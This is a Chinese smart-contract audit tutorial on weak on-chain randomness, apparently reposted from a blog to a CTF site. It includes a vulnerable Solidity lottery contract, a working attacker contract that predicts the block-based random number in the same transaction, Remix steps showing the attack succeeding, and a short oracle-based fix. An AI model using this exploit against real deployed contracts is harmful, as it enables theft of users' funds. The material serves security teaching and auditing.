智能合约审计-随机误用

区块链安全 2年前 (2022) admin
444 0 0

描叙:智能合约开发中,在程序中使用随机数较好的伪随机数是很难的。很多看似无法被预言的随机数种子或变量,实际被预言的难度很低。

核心问题:一旦在智能合约中使用了随机性很差的随机数作为关键变量,就面临着随机数被预言的攻击风险。

一些概念

智能合约常用的随机数计算方式

keccak256(seed)

常用seed的选取:

  • 私有变量
  • 区块有关状态block.something
  • msg.sender
  • 上述数据的哈希或者运算组合

常用的区块属性

  • block.blockhash
  • block.coinbase
  • block.difficulty
  • block.gaslimit
  • block.number
  • block.timestamp

使用区块相关属性作为随机数种子,是一种常见但是非常不安全的方式,其不安全在于,这些数据对于同一个transaction中的合约调用是可预测的。

msg.sender随机预测

  • 使用msg.sender做为随机数种子的安全风险在于,该数据是用户可控的。若随机数种子一旦可以被攻击者选择或控制,就会使随机数面临被预测的风险。

https://vanity-eth.tk 生成特定的地址

漏洞合约分析

pragma solidity ^0.4.24;

contract RandomGame{
    mapping (address => uint256) public balances;
    
    event LuckyLog(uint lucky_number, uint guess);

    function lucky(uint256 guess) public returns(uint256){
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
        if(lucky_number == guess){
            balances[msg.sender] += 1000;
        }
        emit LuckyLog(lucky_number,guess);
        return lucky_number;
    }
}

漏洞点:使用了不安全的block.number做为随机数的种子,导致随机数可以被预测,攻击者可以在合约中进行预测,造成一定损失。

攻击者合约

pragma solidity ^0.4.24;

contract RandomGame{
    mapping (address => uint256) public balances;
    
    event LuckyLog(uint lucky_number, uint guess);

    function lucky(uint256 guess) public returns(uint256){
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
        if(lucky_number == guess){
            balances[msg.sender] += 1000;
        }
        emit LuckyLog(lucky_number,guess);
        return lucky_number;
    }
}

contract AttackRandom{
    RandomGame rg;
    
    function setTarget(address _addr) public {
        rg=RandomGame(_addr);
    }
    
    function attack() public returns(uint256){
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
        rg.lucky(lucky_number);
        return lucky_number;
    }
}

使用Remix进行进行调试

  • 首先对合约进行编译(Current version设置为0.4.24,Auto compile,Enable Optimization全部勾上。编译完成后会出现2个合约分别为RandomGame、AttackRandom部署
  • 将AttackRandom合约中setTarget设置为RandomGame合约地址(0xdc0…46222)
  • 点击attack发起攻击,然后在RandomGame合约中balances中输入攻击者合约地址(0x8c1…401f5),查询余额,发现为1000 wei ETH,实验成功。

漏洞预防

  1. 使用Oraclize提供的一个合约接口库,可以通过链下off-chain的数据流推送data-feed来提供与链状态无关的随机数

 

 

原文始发于毕竟话少:智能合约审计-随机误用

版权声明:admin 发表于 2022年10月19日 上午8:17。
转载请注明:智能合约审计-随机误用 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...